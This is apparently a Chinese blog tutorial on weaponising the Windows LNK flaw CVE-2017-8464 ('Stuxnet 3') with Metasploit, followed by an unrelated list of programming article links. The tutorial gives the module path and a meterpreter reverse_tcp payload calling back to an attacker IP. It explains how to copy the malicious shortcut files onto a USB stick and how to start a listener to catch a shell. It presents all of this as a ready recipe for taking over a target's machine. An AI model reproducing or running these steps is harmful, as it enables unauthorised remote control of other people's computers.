metasploit震网三代的利用教程
首先我们了解一下工控系统
SCADA系统,广泛应用在堤坝、发电站、炼油厂、大型服务器控制服务方面等等。主要用于高度专业的任务例如水位调度控制、电力网络的控制等等。
震网三代。因为类似与震网病毒而得此名,他可以把恶意payload藏在u盘,无需做一个全新的badusb,只需要目标机有开启了自动播放,或者访问带有恶意payload的u盘,即可触发漏洞。说起来震网被发现也是很好笑,因为传播到一台老电脑无法触发漏洞而被研究人员发现,震网病毒足足潜了三年。
执行条件:
目标机器开启自动播放或者访问你的已经配置好震网三代的u盘
主要工具:
测试系统 windows7一台
攻击机 ubuntu(带msf)
[mochulog]
我们运行msf5(msf5可支持py脚本,查询漏洞模块飞一般的速度,在下一篇文章我会告诉你们如何安装msf5)
我们运行msf5
运行search命令查找模块路径
search cve-2017-8464 #cve-2017-8464是模块的cve编号
我们使用这个模块
use exploit/windows/fileformat/cve_2017_8464_link_rce
ubuntu下不建议使用root用户生成payload,因为生成后移动文件有点麻烦。
set lhost 192.168.43.76 #我们设置payload和本机的ip地址 set payload windows/meterpreter/reverse_tcp #payload为meterpreter/reverse_tcp run #开始生成震网U盘恶意文件
我将告诉你生成这么多payload有什么用。
生成恶意文件后需要用一条命令将隐藏目录(.msf4)里面的文件给移动到可见目录,然后我们可以进行复制操作。
cp - r /home/joe/.msf4/local /home/joe/123
cp -r 复制这个文件夹, 然后加文件原路径 后面是要复制到的文件的路径,123是一个新建文件夹,当复制过去后会先创建一个名字是123的文件夹,然后会把恶意快捷方式复制到文件夹里面。复制完成后我们便可以打开文件夹将里面的文件复制到U盘。
在flash_player后面有一个大写字母,这些是对应u盘的盘符,如果你不知道你的u盘盘符是多少也可以全部保存。只要目标机上有开自动播放或者访问你的u盘,均可被触发漏洞。现在我们切换到监听模块,设置payload和ip后开启监听,把恶意文件上传到windows7并运行里面的FlashPlayerCPLApp.cpl这个文件(因为我没有开自动播放也没有u盘,于是我们打开这个文件。)
use exploit/multi/handler #使用监听模块 set lhost 192.168.43.76 #监听目标shell到本机 set payload windows/meterpreter/reverse_tcp #payload run #开始监听
当U盘在目标机插入的时候,如果执行成功,我们就会获取到了一个meterpreter会话:
然后我们就可以干羞羞的事情了。
[/mochulog]
- MySQL数据导入导出牛刀小试(r5笔记第3天)
- SpringMVC 异常处理.
- 一条简单的sql在11g和12c中的不同(r5笔记第2天)
- 浅析 SpringMVC 原理和配置.
- 使用impdp不当导致的数据丢失问题(r5笔记第1天)
- MySQL数据库 Event 定时执行任务.
- Tomcat 日志分割.
- crontab导致的频繁发送邮件的问题(r5笔记第20天)
- 再学习之Spring(依赖注入).
- 使用序列的问题ORA-02287(r5笔记第19天)
- Java多线程详解2
- Java多线程详解3
- SpringMVC处理multipart请求.
- 一条简单的sql语句运行15天的原因分析(r5笔记第17天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android 中 onSaveInstanceState()使用方法详解
- Linux修改主机名的简单方法
- Android RecycleView使用(CheckBox全选、反选、单选)
- Android自定义滑动解锁控件使用详解
- linux nc命令小结
- Android如何自定义EditText光标与下划线颜色详解
- 基于Centos7 部署Varnish缓存代理服务器
- Android getActivity()为空的问题解决办法
- Android Notification使用方法总结
- Linux下redis的持久化、主从同步与哨兵详解
- 详解Android(共享元素)转场动画开发实践
- Android自定义View中attrs.xml的实例详解
- Android开发之缓冲dialog对话框创建、使用与封装操作
- Windows 10 下安装 Apache 2.4.41的教程
- Android基础教程数据存储之文件存储